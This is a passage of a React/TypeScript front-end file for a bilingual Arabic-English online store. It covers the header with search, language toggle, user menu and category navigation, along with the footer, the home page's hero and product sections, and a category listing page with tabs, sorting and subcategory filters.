<span className="text-base flex items-center justify-center h-full">
{active.icon}
</span>
)}
</div>
<div>
<h3 className="text-white font-bold text-sm leading-tight">
{catName(active as CategoryNode & { name_en?: string })}
</h3>
<p className="text-white/35 text-[10px]">
{
(active as CategoryNode & { name_en?: string })
.name_en
}
</p>
</div>
</div>
<Link
href={`/category/${active.id}`}
onClick={onClose}
className="text-xs text-white/40 hover:text-white transition-colors"
>
{t("view_all")}
</Link>
</div>
{active.children && active.children.length > 0 ? (
<div className="grid grid-cols-3 gap-x-8 gap-y-1.5">
{active.children.map((sub) => (
<Link
key={sub.id}
href={`/category/${sub.id}`}
onClick={onClose}
className="flex items-center gap-2 py-1 text-sm text-white/55 hover:text-white transition-colors group"
>
<span className="text-base shrink-0 opacity-70 group-hover:opacity-100 transition-opacity">
{sub.icon}
</span>
<span className="leading-tight">
{catName(sub as CategoryNode & { name_en?: string })}
</span>
</Link>
))}
</div>
) : (
<div className="flex items-center justify-center h-24 text-white/20 text-sm">
{t("browse_all_cat")}
</div>
)}
</>
)}
</div>
{/* Promo panel — active category hero image */}
{active &&
(active as CategoryNode & { image_url?: string }).image_url && (
<div className="w-40 shrink-0 p-3 flex items-center justify-center border-r border-white/6">
<Link
href={`/category/${active.id}`}
onClick={onClose}
className="block w-full"
>
<div
className="relative rounded-lg overflow-hidden w-full"
style={{ aspectRatio: "2/3" }}
>
<img
src={
(active as CategoryNode & { image_url?: string })
.image_url
}
alt={active.name}
className="w-full h-full object-cover"
/>
<div className="absolute inset-0 bg-gradient-to-t from-black/70 to-transparent" />
<div className="absolute bottom-3 inset-x-0 text-center">
<span className="text-white text-xs font-bold">
{catName(active as CategoryNode & { name_en?: string })}
</span>
</div>
</div>
</Link>
</div>
)}
</div>
</div>
</div>
);
}
function Header() {
const { data: allCats } = useCategories();
const { data: tree } = useCategoryTree();
const { data: s } = useStoreSettings();
const [search, setSearch] = useState("");
const [, navigate] = useLocation();
const { count } = useCart();
const { user, logout, openAuth } = useAuth();
const { t, lang, setLang, dir } = useLang();
const featuredMenu = FEATURED_MENU_ITEMS.map((item) => ({
...item,
label: lang === "en" ? item.label_en : item.label_ar,
}));
const storeName = storeCopy(s, lang, "store_name", t("store_name"));
const topBarOffer = storeCopy(s, lang, "top_bar_offer", t("top_bar_offer"));
const searchPlaceholder = storeCopy(
s,
lang,
"header_search_placeholder",
t("search_placeholder"),
);
const menuStripLabel = storeCopy(
s,
lang,
"menu_strip_label",
lang === "en" ? "Store Menus" : "القوائم",
);
const [sheinOpen, setSheinOpen] = useState(false);
const [userMenuOpen, setUserMenuOpen] = useState(false);
const navRef = useRef<HTMLDivElement>(null);
const scrollNav = (d: "left" | "right") => {
if (navRef.current)
navRef.current.scrollBy({
left: d === "left" ? -200 : 200,
behavior: "smooth",
});
};
const extraCats =
allCats?.filter((c) => !c.source || c.source === "extra") ?? [];
const sheinTree = tree?.filter((n) => n.source === "shein") ?? [];
return (
<header className="sticky top-0 z-50 bg-[#0a0a0a] border-b border-white/10">
{/* Top bar */}
<div className="bg-orange-600 text-white text-center text-xs py-1.5 font-medium">
{topBarOffer}
</div>
{/* Main header */}
<div className="max-w-screen-xl mx-auto px-3 sm:px-4 py-2.5 sm:py-3 flex items-center gap-2 sm:gap-4">
<Link href="/" className="flex items-center gap-1.5 sm:gap-2 shrink-0">
<div className="w-8 h-8 bg-orange-500 rounded-lg flex items-center justify-center">
<span className="text-white font-black text-sm">X</span>
</div>
<span className="text-white font-black text-xl tracking-tight">
{storeName}
</span>
</Link>
<form
onSubmit={(e) => {
e.preventDefault();
navigate(`/category/0?q=${encodeURIComponent(search)}`);
}}
className="flex-1"
>
<div className="relative">
<input
value={search}
onChange={(e) => setSearch(e.target.value)}
placeholder={searchPlaceholder}
className="w-full bg-white/8 border border-white/12 text-white placeholder-white/35 rounded-xl py-2.5 pr-4 pl-10 text-sm focus:outline-none focus:border-orange-500/60"
style={{ fontSize: "16px" }}
dir={lang === "en" ? "ltr" : "rtl"}
/>
<button
type="submit"
className="absolute left-3 top-1/2 -translate-y-1/2 text-white/40 hover:text-orange-400 transition-colors"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"
/>
</svg>
</button>
</div>
</form>
{/* Language Toggle */}
<button
onClick={() => setLang(lang === "ar" ? "en" : "ar")}
className="shrink-0 w-10 h-10 flex items-center justify-center rounded-xl border border-white/12 hover:border-[#D4AF37]/50 hover:bg-[#D4AF37]/10 transition-all group"
title={lang === "ar" ? "Switch to English" : "التبديل للعربية"}
>
<span className="text-white/60 group-hover:text-[#D4AF37] font-bold text-xs transition-colors tracking-tight">
{lang === "ar" ? "EN" : "ع"}
</span>
</button>
{/* User button */}
<div className="relative shrink-0">
{user ? (
<>
<button
onClick={() => setUserMenuOpen((v) => !v)}
className="w-10 h-10 flex items-center justify-center rounded-xl border border-orange-500/40 bg-orange-500/10 hover:bg-orange-500/20 transition-all"
>
<span className="text-orange-400 font-black text-sm">
{(user.name || user.email)[0].toUpperCase()}
</span>
</button>
{userMenuOpen && (
<div
className={`absolute top-12 ${dir === "rtl" ? "left-0" : "right-0"} w-52 bg-[#111] border border-white/12 rounded-2xl shadow-2xl z-50 overflow-hidden`}
dir={dir}
>
<div className="px-4 py-3 border-b border-white/8">
<p className="text-white font-bold text-sm truncate">
{user.name || t("user_guest")}
</p>
<p className="text-white/40 text-xs truncate">
{user.email}
</p>
</div>
<Link
href="/profile"
onClick={() => setUserMenuOpen(false)}
className="flex items-center gap-3 px-4 py-2.5 text-sm text-white/70 hover:text-white hover:bg-white/5 transition-colors"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"
/>
</svg>
{t("user_profile")}
</Link>
<Link
href="/cart"
onClick={() => setUserMenuOpen(false)}
className="flex items-center gap-3 px-4 py-2.5 text-sm text-white/70 hover:text-white hover:bg-white/5 transition-colors"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M16 11V7a4 4 0 00-8 0v4M5 9h14l1 12H4L5 9z"
/>
</svg>
{t("user_cart")}
</Link>
<button
onClick={() => {
logout();
setUserMenuOpen(false);
}}
className="w-full flex items-center gap-3 px-4 py-2.5 text-sm text-red-400 hover:bg-red-500/10 transition-colors"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M17 16l4-4m0 0l-4-4m4 4H7m6 4v1a3 3 0 01-3 3H6a3 3 0 01-3-3V7a3 3 0 013-3h4a3 3 0 013 3v1"
/>
</svg>
{t("user_logout")}
</button>
</div>
)}
</>
) : (
<button
onClick={() => openAuth("login")}
className="w-10 h-10 flex items-center justify-center rounded-xl border border-white/12 hover:border-orange-500/50 hover:bg-orange-500/10 transition-all group"
>
<svg
className="w-5 h-5 text-white/60 group-hover:text-orange-400 transition-colors"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={1.8}
d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"
/>
</svg>
</button>
)}
</div>
{/* Cart Icon */}
<Link
href="/cart"
className="relative shrink-0 w-10 h-10 flex items-center justify-center rounded-xl border border-white/12 hover:border-orange-500/50 hover:bg-orange-500/10 transition-all group"
>
<svg
className="w-5 h-5 text-white/70 group-hover:text-orange-400 transition-colors"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={1.8}
d="M16 11V7a4 4 0 00-8 0v4M5 9h14l1 12H4L5 9z"
/>
</svg>
{count > 0 && (
<span className="absolute -top-1.5 -right-1.5 min-w-[18px] h-[18px] bg-orange-500 text-white text-[10px] font-bold rounded-full flex items-center justify-center px-1 shadow">
{count > 99 ? "99+" : count}
</span>
)}
</Link>
</div>
{/* Category nav */}
<nav className="relative border-t border-white/8">
<button
onClick={() => scrollNav("left")}
aria-label="scroll left"
className="absolute left-0 top-0 h-full w-8 z-10 flex items-center justify-center bg-gradient-to-r from-[#0a0a0a] to-transparent text-white/40 hover:text-orange-400 transition-colors"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2.5}
d="M15 19l-7-7 7-7"
/>
</svg>
</button>
<button
onClick={() => scrollNav("right")}
aria-label="scroll right"
className="absolute right-0 top-0 h-full w-8 z-10 flex items-center justify-center bg-gradient-to-l from-[#0a0a0a] to-transparent text-white/40 hover:text-orange-400 transition-colors"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2.5}
d="M9 5l7 7-7 7"
/>
</svg>
</button>
<div
ref={navRef}
className="max-w-screen-xl mx-auto px-8 flex items-center gap-0 overflow-x-auto scrollbar-hide"
>
<Link
href="/category/0"
className="shrink-0 px-3 py-2.5 text-sm text-white/70 hover:text-orange-400 hover:bg-orange-500/10 transition-colors whitespace-nowrap border-b-2 border-transparent hover:border-orange-500"
>
{t("nav_all")}
</Link>
{extraCats.map((c) => (
<Link
key={c.id}
href={`/category/${c.id}`}
className="shrink-0 px-3 py-2.5 text-sm text-white/70 hover:text-orange-400 hover:bg-orange-500/10 transition-colors whitespace-nowrap border-b-2 border-transparent hover:border-orange-500 flex items-center gap-1.5"
>
<span>{c.icon}</span>
<span>{lang === "en" && c.name_en ? c.name_en : c.name}</span>
</Link>
))}
{sheinTree.length > 0 && (
<span className="shrink-0 mx-2 text-white/15 text-lg select-none">
|
</span>
)}
{sheinTree.length > 0 && (
<div
className="relative shrink-0"
onMouseEnter={() => setSheinOpen(true)}
>
<button
onClick={() => setSheinOpen((v) => !v)}
className={`flex items-center gap-2 px-4 py-2.5 text-sm font-bold whitespace-nowrap border-b-2 transition-colors ${
sheinOpen
? "text-[#D4AF37] border-[#D4AF37] bg-[#D4AF37]/8"
: "text-[#D4AF37]/80 border-transparent hover:text-[#D4AF37] hover:border-[#D4AF37]/50 hover:bg-[#D4AF37]/8"
}`}
>
<span>🛍</span>
<span>{t("nav_shein")}</span>
<svg
className={`w-3.5 h-3.5 transition-transform ${sheinOpen ? "rotate-180" : ""}`}
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2.5}
d="M19 9l-7 7-7-7"
/>
</svg>
</button>
{sheinOpen && (
<SheinMegaMenu
tree={sheinTree}
onClose={() => setSheinOpen(false)}
/>
)}
</div>
)}
</div>
</nav>
<div className="border-t border-white/6 bg-[#080808]">
<div className="max-w-screen-xl mx-auto px-4 py-2.5 flex items-center gap-2 overflow-x-auto scrollbar-hide">
<span className="text-[11px] text-white/35 shrink-0 font-medium">
{menuStripLabel}
</span>
{featuredMenu.map((item) => (
<a
key={item.id}
href={item.href}
className="shrink-0 rounded-full border border-white/10 bg-white/5 px-3 py-1.5 text-xs text-white/70 hover:text-orange-300 hover:border-orange-500/40 hover:bg-orange-500/10 transition-all"
>
{item.label}
</a>
))}
</div>
</div>
</header>
);
}
function Footer() {
const { t, lang } = useLang();
const { data: footerCats } = useCategories();
const { data: s } = useStoreSettings();
const categoryLinks = (footerCats ?? [])
.filter((c) => !c.source || c.source === "extra")
.slice(0, 10);
const policyLinks = FOOTER_POLICY_LINKS.map((item) => ({
...item,
label: lang === "en" ? item.label_en : item.label_ar,
}));
const storeName = storeCopy(s, lang, "store_name", t("store_name"));
const storeTagline = storeCopy(s, lang, "store_tagline", t("store_tagline"));
const footerAddress = storeCopy(
s,
lang,
"footer_address",
t("footer_address"),
);
const footerContactPhone = s?.footer_contact_phone || "920003117";
const footerCopyright = storeCopy(
s,
lang,
"footer_copyright",
t("footer_copyright"),
);
return (
<footer className="bg-[#080808] border-t border-white/8 mt-16 py-10">
<div className="max-w-screen-xl mx-auto px-4 grid grid-cols-2 md:grid-cols-5 gap-8 text-sm text-white/50">
<div>
<div className="flex items-center gap-2 mb-3">
<div className="w-6 h-6 bg-orange-500 rounded flex items-center justify-center">
<span className="text-white font-black text-xs">X</span>
</div>
<span className="text-white font-bold text-base">{storeName}</span>
</div>
<p className="leading-relaxed">{storeTagline}</p>
</div>
<div>
<h4 className="text-white font-semibold mb-3">
{t("footer_quick_links")}
</h4>
<ul className="space-y-2">
<li>
<Link
href="/"
className="hover:text-orange-400 transition-colors"
>
{t("footer_home")}
</Link>
</li>
<li>
<Link
href="/category/0"
className="hover:text-orange-400 transition-colors"
>
{t("footer_all_products")}
</Link>
</li>
{FEATURED_MENU_ITEMS.slice(0, 3).map((item) => (
<li key={item.id}>
<a
href={item.href}
className="hover:text-orange-400 transition-colors"
>
{lang === "en" ? item.label_en : item.label_ar}
</a>
</li>
))}
</ul>
</div>
<div>
<h4 className="text-white font-semibold mb-3">
{lang === "en" ? "Product Categories" : "فئات المنتجات"}
</h4>
<ul className="space-y-2">
{categoryLinks.map((c) => (
<li key={c.id}>
<Link
href={`/category/${c.id}`}
className="hover:text-orange-400 transition-colors"
>
{lang === "en" && c.name_en ? c.name_en : c.name}
</Link>
</li>
))}
</ul>
</div>
<div>
<h4 className="text-white font-semibold mb-3">
{lang === "en" ? "Policies & Menus" : "السياسات والقوائم"}
</h4>
<ul className="space-y-2">
{policyLinks.map((item) => (
<li key={item.label}>
<a
href={item.href}
className="hover:text-orange-400 transition-colors"
>
{item.label}
</a>
</li>
))}
<li>
<a
href="/#section-top-rated"
className="hover:text-orange-400 transition-colors"
>
{lang === "en" ? "Top Rated" : "أعلى تقييماً"}
</a>
</li>
</ul>
</div>
<div>
<h4 className="text-white font-semibold mb-3">
{t("footer_contact")}
</h4>
<p>{footerContactPhone}</p>
<p className="mt-1">{footerAddress}</p>
</div>
</div>
<div className="max-w-screen-xl mx-auto px-4 mt-8 pt-6 border-t border-white/8 text-center text-xs text-white/30">
{footerCopyright}
</div>
</footer>
);
}
// ─── Pages ──────────────────────────────────────────
function Home() {
const { t, lang } = useLang();
const { data: allCats } = useCategories();
const { data: trending } = useProducts({ featured: "trending", limit: 10 });
const { data: bestsellers } = useProducts({
featured: "bestseller",
limit: 10,
});
const { data: newArr } = useProducts({ featured: "new_arrivals", limit: 10 });
const { data: topRated } = useProducts({ featured: "top_rated", limit: 10 });
const { data: s } = useStoreSettings();
const extraCats =
allCats?.filter((c) => !c.source || c.source === "extra") ?? [];
const sheinCats =
allCats?.filter((c) => c.source === "shein" && !c.parent_id) ?? [];
const accent = s?.hero_accent_color || "#f97316";
const isEn = lang === "en";
const heroBadge = isEn
? s?.hero_badge_en || t("hero_badge")
: s?.hero_badge_ar || t("hero_badge");
const heroTitle = isEn
? s?.hero_title_en || t("hero_title")
: s?.hero_title_ar || t("hero_title");
const heroSub = isEn
? s?.hero_subtitle_en || t("hero_sub")
: s?.hero_subtitle_ar || t("hero_sub");
const heroCta = isEn
? s?.hero_cta_en || t("hero_cta")
: s?.hero_cta_ar || t("hero_cta");
const heroCtaLink = s?.hero_cta_link || "/category/0";
const heroBgImage = s?.hero_bg_image || "";
// Promo banners
let promoBanners: { image_url: string; link: string; title: string }[] = [];
try {
promoBanners = JSON.parse(s?.promo_banners || "[]");
} catch {}
const sections = [
{
id: "trending",
enabled: s?.section_trending_enabled !== "false",
title: isEn
? s?.section_trending_title_en || t("section_trending_title")
: s?.section_trending_title_ar || t("section_trending_title"),
icon: s?.section_trending_icon || "🔥",
data: trending?.products,
},
{
id: "bestseller",
enabled: s?.section_bestseller_enabled !== "false",
title: isEn
? s?.section_bestseller_title_en || t("section_bestseller_title")
: s?.section_bestseller_title_ar || t("section_bestseller_title"),
icon: s?.section_bestseller_icon || "⭐",
data: bestsellers?.products,
},
{
id: "new",
enabled: s?.section_new_enabled !== "false",
title: isEn
? s?.section_new_title_en || t("section_new_title")
: s?.section_new_title_ar || t("section_new_title"),
icon: s?.section_new_icon || "✨",
data: newArr?.products,
},
{
id: "top-rated",
enabled: s?.section_top_rated_enabled !== "false",
title: isEn
? s?.section_top_rated_title_en || t("section_top_rated_title")
: s?.section_top_rated_title_ar || t("section_top_rated_title"),
icon: s?.section_top_rated_icon || "🏆",
data: topRated?.products,
},
];
return (
<div>
{/* Hero */}
{s?.hero_enabled !== "false" && (
<div
className="relative border-b border-white/8"
style={
heroBgImage
? {
backgroundImage: `url(${heroBgImage})`,
backgroundSize: "cover",
backgroundPosition: "center",
}
: {
background: `linear-gradient(135deg, ${accent}22 0%, #0d0d0d 60%, #0d0d0d 100%)`,
}
}
>
{heroBgImage && <div className="absolute inset-0 bg-black/60" />}
<div className="relative max-w-screen-xl mx-auto px-4 py-14 flex flex-col items-center text-center">
<div
className="inline-flex items-center gap-2 border text-sm px-4 py-1.5 rounded-full mb-6"
style={{
backgroundColor: `${accent}22`,
borderColor: `${accent}55`,
color: accent,
}}
>
<span>{heroBadge}</span>
</div>
<h1 className="text-4xl md:text-5xl font-black text-white mb-4 leading-tight whitespace-pre-line">
{heroTitle}
</h1>
<p className="text-white/50 text-lg mb-8 max-w-xl">{heroSub}</p>
<Link
href={heroCtaLink}
className="font-bold px-8 py-3 rounded-xl transition-colors text-lg text-white"
style={{ backgroundColor: accent }}
>
{heroCta}
</Link>
</div>
</div>
)}
{/* Promo Banners */}
{promoBanners.length > 0 && (
<div className="max-w-screen-xl mx-auto px-4 pt-8">
<div
className={`grid gap-4 ${promoBanners.length === 1 ? "grid-cols-1" : promoBanners.length === 2 ? "grid-cols-2" : "grid-cols-3"}`}
>
{promoBanners.map((b, i) => (
<Link key={i} href={b.link || "/"}>
<div className="relative rounded-2xl overflow-hidden aspect-[3/1] cursor-pointer group">
<img
src={b.image_url}
alt={b.title}
className="w-full h-full object-cover group-hover:scale-105 transition-transform duration-500"
onError={(e) => {
(
e.target as HTMLImageElement
).parentElement!.style.display = "none";
}}
/>
{b.title && (
<div className="absolute inset-0 bg-gradient-to-l from-black/60 to-transparent flex items-end p-4">
<span className="text-white font-bold text-sm">
{b.title}
</span>
</div>
)}
</div>
</Link>
))}
</div>
</div>
)}
<div className="max-w-screen-xl mx-auto px-4 py-10">
{/* eXtra Categories Grid */}
{s?.extra_section_enabled !== "false" && extraCats.length > 0 && (
<section className="mb-10">
<h2 className="text-xl font-bold text-white mb-5 flex items-center gap-2">
<div
className="w-5 h-5 rounded flex items-center justify-center shrink-0"
style={{ backgroundColor: accent }}
>
<span className="text-white font-black text-xs">X</span>
</div>
{isEn
? s?.extra_section_title_en || t("section_extra_title")
: s?.extra_section_title_ar || t("section_extra_title")}
</h2>
<div className="grid grid-cols-2 sm:grid-cols-4 md:grid-cols-8 gap-3">
{extraCats.map((c) => (
<Link key={c.id} href={`/category/${c.id}`}>
<div className="bg-[#111] border border-white/8 rounded-xl p-3 flex flex-col items-center gap-2 hover:border-orange-500/40 hover:bg-orange-500/8 transition-all cursor-pointer text-center">
<span className="text-2xl">{c.icon}</span>
<span className="text-xs text-white/70 font-medium leading-tight">
{lang === "en" && c.name_en ? c.name_en : c.name}
</span>
</div>
</Link>
))}
</div>
</section>
)}
{/* Shein Categories */}
{s?.shein_section_enabled !== "false" && sheinCats.length > 0 && (
<section className="mb-14">
<div className="flex items-center justify-between mb-6">
<div className="flex items-center gap-3">
<div className="flex items-center gap-1.5 bg-black border-2 border-white px-3 py-1 rounded">
<span className="text-white font-black tracking-widest text-sm uppercase">
SHEIN
</span>
</div>
<div>
<p className="text-white font-bold text-base leading-tight">
{isEn
? s?.shein_section_title_en || t("shein_section_title")
: s?.shein_section_title_ar || t("shein_section_title")}
</p>
<p className="text-white/40 text-xs">
{isEn ? "أزياء، جمال ومنزل" : "Fashion, Beauty & Home"}
</p>
</div>
</div>
<Link
href="/category/60"
className="text-xs text-white/50 hover:text-white border border-white/15 hover:border-white/40 px-3 py-1.5 rounded-full transition-all"
>
{t("view_all")}
</Link>
</div>
<div className="grid grid-cols-3 sm:grid-cols-4 md:grid-cols-6 gap-2.5">
{sheinCats.map((c) => (
<Link key={c.id} href={`/category/${c.id}`}>
<div
className="relative rounded-lg overflow-hidden cursor-pointer group"
style={{ aspectRatio: "2/3" }}
>
{c.image_url ? (
<img
src={c.image_url}
alt={c.name}
className="absolute inset-0 w-full h-full object-cover group-hover:scale-105 transition-transform duration-500"
onError={(e) => {
(e.target as HTMLImageElement).style.display = "none";
}}
/>
) : (
<div className="absolute inset-0 bg-[#1a1a1a] flex items-center justify-center">
<span className="text-4xl">{c.icon ?? "🏷️"}</span>
</div>
)}
<div className="absolute inset-0 bg-gradient-to-t from-black/75 via-black/10 to-transparent group-hover:from-black/85 transition-all" />
<div className="absolute bottom-0 inset-x-0 p-2.5 text-center">
<span className="text-white text-xs sm:text-sm font-bold leading-tight drop-shadow-lg block">
{isEn && c.name_en ? c.name_en : c.name}
</span>
{c.name_en && !isEn && (
<span className="text-white/60 text-[9px] sm:text-[10px] block mt-0.5 leading-tight">
{c.name_en}
</span>
)}
</div>
{c.slug === "new-in" && (
<div className="absolute top-2 right-2 bg-white text-black text-[9px] font-black px-1.5 py-0.5 rounded uppercase tracking-wide">
NEW
</div>
)}
{c.slug === "sale" && (
<div className="absolute top-2 right-2 bg-red-500 text-white text-[9px] font-black px-1.5 py-0.5 rounded uppercase tracking-wide">
SALE
</div>
)}
</div>
</Link>
))}
</div>
</section>
)}
{/* Product Sections */}
{sections
.filter((sec) => sec.enabled && sec.data && sec.data.length > 0)
.map((sec) => (
<section
key={sec.id}
id={`section-${sec.id}`}
className="mb-12 scroll-mt-44"
>
<div className="flex items-center justify-between mb-5">
<div>
<h2 className="text-xl font-bold text-white flex items-center gap-2">
<span>{sec.icon}</span> {sec.title}
</h2>
</div>
<Link
href="/category/0"
className="text-sm hover:opacity-80 transition-colors"
style={{ color: accent }}
>
{t("section_view_all")}
</Link>
</div>
<div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 lg:grid-cols-5 gap-4">
{sec.data!.map((p) => (
<ProductCard key={p.id} p={p} />
))}
</div>
</section>
))}
</div>
</div>
);
}
function Category() {
const { t, lang } = useLang();
const [location] = useLocation();
const pathParts = location.split("/");
const catId = parseInt(pathParts[pathParts.length - 1] ?? "0") || 0;
const urlParams = new URLSearchParams(window.location.search);
const q = urlParams.get("q") || "";
const [sort, setSort] = useState("relevance");
const [tab, setTab] = useState<
"all" | "trending" | "bestseller" | "new_arrivals" | "top_rated"
>("all");
const [selectedSubcat, setSelectedSubcat] = useState<string | null>(null);
const { data: cats } = useCategories();
const { data: tree } = useCategoryTree();
const cat = cats?.find((c) => c.id === catId);
const subcats: Category[] =
catId > 0 ? (tree?.find((n) => n.id === catId)?.children ?? []) : [];
const queryParams: Record<string, string | number | undefined> = {
page: 1,
limit: 60,
...(catId > 0 ? { category_id: catId } : {}),
...(q ? { search: q } : {}),
...(tab !== "all" ? { featured: tab } : {}),
...(selectedSubcat ? { subcategory: selectedSubcat } : {}),
};
const { data, isLoading } = useProducts(queryParams);
const products = data?.products ?? [];
const sorted = [...products].sort((a, b) => {
if (sort === "price_asc") return parseFloat(a.price) - parseFloat(b.price);
if (sort === "price_desc") return parseFloat(b.price) - parseFloat(a.price);
if (sort === "rating") return parseFloat(b.rating) - parseFloat(a.rating);
return 0;
});
return (
<div className="max-w-screen-xl mx-auto px-4 py-8">
{/* Back + Breadcrumb */}
<div className="flex items-center gap-3 text-sm text-white/40 mb-5">
<button
onClick={() => window.history.back()}
className="flex items-center gap-1.5 text-white/50 hover:text-orange-400 transition-colors bg-white/5 hover:bg-orange-500/10 border border-white/10 hover:border-orange-500/30 rounded-xl px-3 py-1.5 shrink-0"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M15 19l-7-7 7-7"
/>
</svg>
{t("back")}
</button>
<Link href="/" className="hover:text-orange-400 transition-colors">
{t("home")}
</Link>
<span></span>
<span className="text-white/70">
{catId === 0
? t("all_products")
: lang === "en" && cat?.name_en
? cat.name_en
: (cat?.name ?? "...")}
</span>
{selectedSubcat && (
<>
<span></span>
<span className="text-orange-400">{selectedSubcat}</span>
</>
)}
</div>
{/* Title */}
<div className="mb-5">
<h1 className="text-2xl font-black text-white flex items-center gap-2">
{cat?.icon}{" "}
{catId === 0
? t("all_products")
: lang === "en" && cat?.name_en
? cat.name_en
: (cat?.name ?? "")}
{q && (
<span className="text-base text-white/40 font-normal">
{t("results_for")} "{q}"
</span>
)}
</h1>
<p className="text-white/40 text-sm mt-1">
{data?.total ?? 0} {t("products_count")}
</p>
</div>
{/* Tabs */}
<div className="flex items-center gap-2 mb-6 overflow-x-auto pb-2">
{(
[
{ id: "all", label: t("tab_all") },
{ id: "trending", label: t("tab_trending") },
{ id: "bestseller", label: t("tab_bestseller") },
{ id: "top_rated", label: t("tab_top_rated") },
{ id: "new_arrivals", label: t("tab_new") },
] as const
).map((tb) => (
<button
key={tb.id}
onClick={() => setTab(tb.id)}
className={`shrink-0 px-3 py-2 rounded-lg text-sm font-medium transition-all ${
tab === tb.id
? "bg-orange-500 text-white"
: "bg-white/8 text-white/60 hover:bg-white/12"
}`}
>
{tb.label}
</button>
))}
<div className="mr-auto shrink-0">
<select
value={sort}
onChange={(e) => setSort(e.target.value)}
className="bg-white/8 border border-white/12 text-white/70 rounded-lg px-3 py-2 text-sm focus:outline-none focus:border-orange-500/50"
>
<option value="relevance">{t("sort_relevance")}</option>
<option value="price_asc">{t("sort_price_asc")}</option>
<option value="price_desc">{t("sort_price_desc")}</option>
<option value="rating">{t("sort_rating")}</option>
</select>
</div>
</div>
{/* Mobile: horizontal subcategory chips */}
{subcats.length > 0 && (
<div
className="flex gap-2 mb-4 overflow-x-auto pb-2 md:hidden"
style={{ scrollbarWidth: "none" }}
>
<button
onClick={() => setSelectedSubcat(null)}
className={`shrink-0 px-3 py-1.5 rounded-full text-xs font-bold transition-all min-h-[36px] ${
!selectedSubcat
? "bg-orange-500 text-white"
: "bg-white/8 text-white/60 border border-white/12"
}`}
>
{t("tab_all")}
</button>
{subcats.map((sc) => (
<button
key={sc.id}
onClick={() =>
setSelectedSubcat(sc.name === selectedSubcat ? null : sc.name)
}
className={`shrink-0 flex items-center gap-1 px-3 py-1.5 rounded-full text-xs font-medium transition-all min-h-[36px] ${
selectedSubcat === sc.name
? "bg-orange-500 text-white"
: "bg-white/8 text-white/60 border border-white/12"
}`}
>
<span>{sc.icon}</span>
<span className="whitespace-nowrap">
{lang === "en" && sc.name_en ? sc.name_en : sc.name}
</span>
</button>
))}
</div>
)}
<div className="flex gap-6">
{/* Desktop: Subcategory Sidebar */}
{subcats.length > 0 && (
<aside className="hidden md:block w-52 shrink-0">
<div className="bg-[#111] border border-white/8 rounded-xl p-4 sticky top-40">
<h3 className="text-white font-bold text-sm mb-3 flex items-center gap-2">
<svg
className="w-4 h-4 text-orange-400"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M4 6h16M4 12h8m-8 6h16"
/>
</svg>
{t("filter_type")}
</h3>
<ul className="space-y-1">
<li>
<button
onClick={() => setSelectedSubcat(null)}
className={`w-full text-right px-3 py-2 rounded-lg text-sm transition-all ${
!selectedSubcat
? "bg-orange-500/15 text-orange-400 border border-orange-500/30"
: "text-white/60 hover:bg-white/8 hover:text-white"
}`}
>
{t("tab_all")}
</button>
</li>
{subcats.map((sc) => (
<li key={sc.id}>
<button
onClick={() =>
setSelectedSubcat(
sc.name === selectedSubcat ? null : sc.name,
)
}
className={`w-full text-right px-3 py-2 rounded-lg text-sm transition-all flex items-center gap-2 ${
selectedSubcat === sc.name
? "bg-orange-500/15 text-orange-400 border border-orange-500/30"
: "text-white/60 hover:bg-white/8 hover:text-white"
}`}
>
<span>{sc.icon}</span>
<span className="flex-1">
{lang === "en" && sc.name_en ? sc.name_en : sc.name}
</span>
</button>
</li>
))}
</ul>
</div>
</aside>
)}
{/* Products Grid */}
<div className="flex-1 min-w-0">
{isLoading ? (
<div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 gap-3 md:gap-4">
{[...Array(12)].map((_, i) => (
<div
key={i}
className="bg-[#111] border border-white/8 rounded-xl overflow-hidden animate-pulse"
>
<div className="aspect-square bg-white/5" />
<div className="p-3 space-y-2">
<div className="h-3 bg-white/5 rounded w-1/2" />
<div className="h-4 bg-white/5 rounded" />
</div>
</div>
))}
</div>
) : sorted.length === 0 ? (
<div className="text-center py-20 text-white/40">
<div className="text-5xl mb-4">🔍</div>
<p className="text-lg">{t("no_products")}</p>
{selectedSubcat && (
<button
onClick={() => setSelectedSubcat(null)}
className="mt-3 text-orange-400 text-sm hover:underline"
>
{t("remove_filter")}
</button>
)}
</div>
) : (
<div
className={`grid gap-3 md:gap-4 ${subcats.length > 0 ? "grid-cols-2 sm:grid-cols-3 md:grid-cols-3 lg:grid-cols-4" : "grid-cols-2 sm:grid-cols-3 md:grid-cols-4 lg:grid-cols-5"}`}
>
{sorted.map((p) => (
<ProductCard key={p.id} p={p} />
))}
</div>
